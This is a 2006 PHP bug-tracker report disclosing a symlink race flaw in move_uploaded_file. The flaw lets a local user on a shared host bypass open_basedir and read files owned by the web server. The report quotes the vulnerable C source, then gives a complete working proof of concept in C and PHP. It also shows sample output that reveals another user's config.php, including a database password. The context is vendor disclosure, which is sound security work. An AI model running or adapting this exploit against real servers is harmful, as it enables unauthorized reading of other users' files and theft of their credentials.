|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2006-02-28 09:27 UTC] tony2001@php.net
[2006-03-08 01:00 UTC] php-bugs at lists dot php dot net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Nov 02 20:00:01 2025 UTC |
Description: ------------ Hi, Vulnerable code is: ext/standard/basic_functions.c PHP_FUNCTION(move_uploaded_file) { zval **path, **new_path; zend_bool successful = 0; if (!SG(rfc1867_uploaded_files)) { RETURN_FALSE; } if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &path, &new_path) != SUCCESS) { ZEND_WRONG_PARAM_COUNT(); } convert_to_string_ex(path); convert_to_string_ex(new_path); if (!zend_hash_exists(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path), Z_STRLEN_PP(path)+1)) { RETURN_FALSE; } if (PG(safe_mode) && (!php_checkuid(Z_STRVAL_PP(new_path), NULL, CHECKUID_CHECK_FILE_AND_DIR))) { RETURN_FALSE; } if (php_check_open_basedir(Z_STRVAL_PP(new_path) TSRMLS_CC)) { RETURN_FALSE; } VCWD_UNLINK(Z_STRVAL_PP(new_path)); if (rename(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)) == 0) { successful = 1; } else if (php_copy_file(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path) TSRMLS_CC) == SUCCESS) { VCWD_UNLINK(Z_STRVAL_PP(path)); successful = 1; } if (successful) { zend_hash_del(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path), Z_STRLEN_PP(path)+1); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to move '%s' to '%s'", Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)); } RETURN_BOOL(successful); } That function doesn`t check "path" parameter. For example it could be symlink to file that can be read only by apache. 3. PoC We must upload some file, unlink this file from upload_dir folder and create symlink to file what we wont to read. There is a full working code: /* -------------------------------- phpbug_upload.c -----------------*/ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #define FILE_PATH "31337.txt" #define LINKS_PATH "/usr/bin/links" int main(int argc, char *argv[]) { int child; char buf[1024]; char *url, *file; FILE *fp; memset(buf, 0, sizeof(buf)); if(argc < 3) { printf("%s <php_file_url> <file_to_read>\n", argv[0]); exit(0); } url = argv[1]; file = argv[2]; child = fork(); if(!child) { execl(LINKS_PATH, LINKS_PATH, "-source", url, NULL); perror("execl"); } sleep(2); fp = fopen(FILE_PATH, "r"); if(!fp) { perror("fopen"); exit(-1); } fgets(buf, sizeof(buf), fp); fclose(fp); symlink(file, buf); wait(); printf("\n"); unlink(buf); return 0; } /* -------------------------------- phpbug_upload.c -----------------*/ /* -------------------------------- phpbug_upload.php -----------------*/ <?php error_reporting(0); if(isset($_FILES['plik'])) { $fp = fopen("31337.txt", "w"); fputs($fp, $_FILES['plik']['tmp_name']); fclose($fp); chmod("31337.txt", 0777); unlink($_FILES['plik']['tmp_name']); sleep(4); move_uploaded_file($_FILES['plik']['tmp_name'], $_FILES['plik']['name']."31337"); exit; } $fp = fsockopen($_SERVER["SERVER_ADDR"], 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; exit; } $out = "POST " . $_SERVER['PHP_SELF'] . " HTTP/1.1\r\n"; $out .= "Host: " . $_SERVER["SERVER_NAME"] . "\r\n"; $out .= "Accept: */*\r\n"; $out .= "Content-Length: 196\r\n"; $out .= "Expect: 100-continue\r\n"; $out .= "Content-Type: multipart/form-data; "; $out .= "boundary=----------------------------c32f5965dde9\r\n\r\n"; fwrite($fp, $out); fread($fp, 1024); $out = "------------------------------c32f5965dde9\r\n"; $out .= "Content-Disposition: form-data; name=\"plik\"; filename=\"31337.txt\"\r\n"; $out .= "Content-Type: text/plain\r\n\r\n"; $out .= "\r\nkurwamac\r\n\r\n------------------------------c32f5965dde9--\r\n\r\n"; fwrite($fp, $out); while(!feof($fp)) fread($fp, 1024); fclose($fp); readfile("31337.txt" . "31337"); unlink("31337.txt" . "31337"); unlink("31337.txt"); ?> /* -------------------------------- phpbug_upload.php -----------------*/ This is example of usage: [czubakabra public_html]$ ls -l /home/users/test/public_html/config.php -r-------- 1 http http 49 2006-01-01 19:01 /home/users/test/public_html/config.php [czubakabra public_html]$ cat /home/users/test/public_html/config.php cat: /home/users/test/public_html/config.php: Brak dostępu [czubakabra public_html]$ links -source http://localhost/~czubakabra/test.php <br /> <b>Warning</b>: readfile() [<a href='function.readfile'>function.readfile</a>]: open_basedir restriction in effect. File(/home/users/test/public_html/config.php) is not within the allowed path(s): (/home/users/pucik) in <b>/home/users/czubakabra/public_html/test.php</b> on line <b>3</b><br /> <br /> <b>Warning</b>: readfile(/home/users/test/public_html/config.php) [<a href='function.readfile'>function.readfile</a>]: failed to open stream: Operation not permitted in <b>/home/users/czubakabra/public_html/test.php</b> on line <b>3</b><br /> But we can do it, with exploit this vulnerability: [czubakabra public_html]$ ./phpbug_upload "http://localhost/~czubakabra/phpbug_upload.php" /home/users/test/public_html/config.php <? echo "hihyha"; $dbpass = "hax0rek"; ?> This is very usefully on server that hosting shell accounts. It works also on SeLinux systems and others, then user is other domain. Best regards, Damian Put